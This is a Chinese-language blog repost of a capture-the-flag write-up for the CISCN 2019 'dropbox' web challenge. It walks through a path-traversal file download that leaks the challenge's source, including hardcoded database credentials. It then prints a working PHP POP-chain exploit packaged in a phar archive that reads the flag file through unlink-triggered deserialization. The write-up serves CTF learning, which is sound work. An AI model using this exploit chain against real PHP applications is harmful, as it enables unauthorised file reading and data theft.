首页 > 其他分享 >ciscn2019华北赛区Day1-Web1dropbox-md

ciscn2019华北赛区Day1-Web1dropbox-md

时间:2022-10-02 10:55:39浏览次数:51  
标签:function md return filename file table ciscn2019 Day1 public


title: ciscn2019华北赛区Day1 Web1dropbox.md
date: 2022-06-26 20:56:10
tags:

进去之后呢看到一个登录框

然后注册一个账号进去看到有上传文件的东西

然后试试上传一个shell

然后显示这个

1656249531015

然后应该不能直接上穿shell

这里我们随便上传一个图片试试

1656250142654

这里下载的时候就是个简单的下载 url栏中没有get方式 猜想是不是POST方式 抓包试一下把

1656250338807

嘿嘿 发现我们的猜想是正确的

然后这里我们把刚刚这个文件名改为别的 index.php?试一下

1656250431335

应该是路径不对

经过测试发现

1656250475644

把代码粘下来

1656299036970

这里的test1.php是我自己做测试用的

代码有点多这里就不都贴出来了

先把class.php的代码贴出来吧

HTTP/1.1 200 OK
Server: openresty
Date: Sun, 26 Jun 2022 13:39:45 GMT
Content-Type: application/octet-stream
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename=class.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.6.40
Content-Length: 4224

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;
public function __construct() {
    global $db;
    $this->db = $db;
}

public function user_exist($username) {
    $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows;
    if ($count === 0) {
        return false;
    }
    return true;
}

public function add_user($username, $password) {
    if ($this->user_exist($username)) {
        return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    return true;
}

public function verify_user($username, $password) {
    if (!$this->user_exist($username)) {
        return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->bind_result($expect);
    $stmt->fetch();
    if (isset($expect) && $expect === $password) {
        return true;
    }
    return false;
}

public function __destruct() {
    #使db为 new  File 发现没有办法返回数据 这里要想想别的办法了
    $this->db->close();
}
}

class FileList {
    private $files;
    private $results;
    private $funcs;
public function __construct($path) {
    $this->files = array();
    $this->results = array();
    $this->funcs = array();
    $filenames = scandir($path);

    $key = array_search(".", $filenames);
    unset($filenames[$key]);
    $key = array_search("..", $filenames);
    unset($filenames[$key]);

    foreach ($filenames as $filename) {
        $file = new File();
        $file->open($path . $filename);
        array_push($this->files, $file);
        $this->results[$file->name()] = array();
    }
}

public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
        $this->results[$file->name()][$func] = $file->$func();
    }
}

public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
        $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
        $table .= '<tr>';
        foreach ($result as $func => $value) {
            $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
        }
        $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
        $table .= '</tr>';
    }
    echo $table;
}
}

class File {
    public $filename;
 public function open($filename) {
    $this->filename = $filename;
    if (file_exists($filename) && !is_dir($filename)) {
        return true;
    } else {
        return false;
    }
}

public function name() {
    return basename($this->filename);
}

public function size() {
    $size = filesize($this->filename);
    $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    return round($size, 2).$units[$i];
}

public function detele() {
    unlink($this->filename);
}

public function close() {
    #使filename为flag.txt
    return file_get_contents($this->filename);
}
}

然后找到利用点

在class.php中有个file 类

这里把代码贴出来

class File {
    public $filename;
	public function open($filename) {
    $this->filename = $filename;
    if (file_exists($filename) && !is_dir($filename)) {
        return true;
    } else {
        return false;
    }
}

public function name() {
    return basename($this->filename);
}

public function size() {
    $size = filesize($this->filename);
    $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    return round($size, 2).$units[$i];
}

public function detele() {
    unlink($this->filename);
}

public function close() {
    #使filename为flag.txt 
    return file_get_contents($this->filename);
}
}

看到里面有个file_get_contents()我们可以使他为flag.php

这样有类的 这种一般都是反序列化的题

我们往上推一推看看

他这个是在close()方法中 看看哪个东西也调用了close()方法

这里也看到了user 类里面有个close方法

唉 然后我们发现虽然我们这样可以读取flag文件但是没有办法将它显示出来

这咋办捏

应该这个题也没有那么简单

这里还有个FileList 类 他这个里面有个__call()魔术方法 我们也把他的代码贴出来 方便大家看

public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
        $this->results[$file->name()][$func] = $file->$func();
    }
}

看到这__call方法

这里我稍微的讲一下__call方法

当调用一个不存在的方法的时候就会触发__call方法,这里面第一个参数$func是调用那个不存在的方法名

第二个参数是一个数组 ( array ) ,是传递给不存在方法的所有参数组成的数组

这里只需要懂第一个参数是啥就行了

然后我们可以看一下index.php中的代码

里面有这样的一行代码

$a = new FileList($_SESSION['sandbox']);

这里它实例化了一个FileList类

然后我们再看一下啊FileList类中的__destruct魔术方法

public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
        $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
        $table .= '<tr>';
        foreach ($result as $func => $value) {
            $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
        }
        $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
        $table .= '</tr>';
    }
    echo $table;
}


这里面我们发现他会把

results数组的结果放到网页上

这里就会有回显了

先梳理一下思路

当我们上传了一个User对象的一个序列化数据后会执行 Uer::__destruct方法

然后我们把

这个$db赋值为 new FileList

这个时候因为new FileList中没有close方法然后就会调用FileList中的__call方法 这个时候我们把$file赋值为new File就可以调用close方法了

这里构造exp

<?php
class User {
    public $db;
public function __construct()
{
    $this->db=new FileList();
}
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct()
    {
        $this->files=array(new File());
    }

}
class File {
    public $filename='/flag.txt';
}
$user=new User();

ok我们构造好了

但是呢

唉 我们发现 没有unserlize函数呀

反序列化漏洞怎么可能没有unserlize呀 这个时候就i想到了phar伪协议

这里简单的说一下

当没有unserlize函数的时间就可以利用它来进行反序列化

这个phar也可以说是一个压缩包

它里面有个meta-data的数据是序列化形式存储的的

然后当这个phar文件经过某些文件操作函数中的一个和phar伪协议就会把meta-data里的东西反序列化出来

我们刚刚也说了就是需要经过

1656139788531

这些中的一个就可以了

然后我们发现有个unlink函数

public function detele() {
unlink($this->filename);
}

然后这里面也有unlink函数

这个是当我们删除文件的时候就会调用这个函数

所以我们可以生成exp了

<?php
class User {
    public $db;
public function __construct()
{
    $this->db=new FileList();
}
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct()
    {
        $this->files=array(new File());
    }

}
class File {
    public $filename='/flag.txt';
}
$user=new User();
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub


$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

1656303843856

我们再删除的页面就可以触发unlink 然后我们的生成的phar.png文件

就会输出flag

标签:function,md,return,filename,file,table,ciscn2019,Day1,public
From: https://www.cnblogs.com/kkkkl/p/16748392.html

相关文章

  • BJDCTF2020Cookie-is-so-stable-md
    title:BJDCTF2020Cookieissostable.mddate:2022-07-0718:45:14tags:进去之后发现这个好像ssti我们输入{{1+2}}返回这个应该时ssti了然后我们输入{{"".__c......
  • PHP伪协议总结-md
    title:PHP伪协议总结.mddate:2022-06-2321:35:32tags:php伪协议浅浅学习file://协议利用条件allow_url_fopen:off/onallow_url_include:off/on作用:访问本地......
  • 安洵杯2019——eazy——web-md
    title:安洵杯2019——eazy——web.mddate:2022-10-0210:11:51tags:[安洵杯2019]easy_web绷不住了。。。。看题把上面get这里应该是可以获取文件cmd是什么现在......
  • Java lamda表达式 Predicate<T>、BiFunction<T,T,R>、FunctionalInterface 应用实例说
    使用相对应的函数式接口,可使编写程序在某些时候变得更高雅和灵活,下面对各种情况进行说明ps:核心原理就是将方法作为一个参数传到另一个方法,使该方法处理内容更丰富和灵......
  • 摆脱鼠标操作 vscode-vim-use-readme.md
    vscode-vim学习笔记梳理下自己定义的快捷键Normal模式返回ESCcapsLock双击shiftctrl+[jj一共5种快捷键下面不说模式的均为Normal模式任何时候第一时间返......
  • repomd.xml signature could not be verified for kubernetes
    repo文件是CentOS中yum源(软件仓库)的配置文件,通常一个repo文件定义了一个或者多个软件仓库的细节内容,例如我们将从哪里下载需要安装或者升级的软件包,repo文件中的设置内容将......
  • linux启动某一个服务后,服务的某个文件所在的目录下出现类似:systemd-private.xxxxxx的
      如标题所示的情况关闭方法:找到此行后的service服务的名称,找到配置文件 PrivateTmp=true 表示给服务分配独立的临时空间 改为图中的false,然后执行 syste......
  • Windows快捷键,cmd,Dos命令
    Windows常用快捷键ctrl+c:复制ctrl+v:粘贴ctrl+a:全选ctrl+x:剪切ctrl+z:撤销ctrl+s:保存alt+F4:关闭窗口shift+delete:永久删除Windows键+R键:打开运行窗口运行窗口+输入......
  • cmd
    一、打开方式1.开始+系统+命令提示符2.win+R输入cmd3.在任意文件夹下,按住shift+右键,打开命令行窗口4.资源管理器的地址栏前加上cmd路径 常用的DOS命令1.盘符切换......
  • Windows系统之cmd命令(变量和字符)
    Windows系统之cmd命令(变量和字符)一、变量的定义在cmd.exe中定义变量需要使用关键字set举例子:@echooffsetstr=helloworldecho%str%pause注意:变量的值可以有空......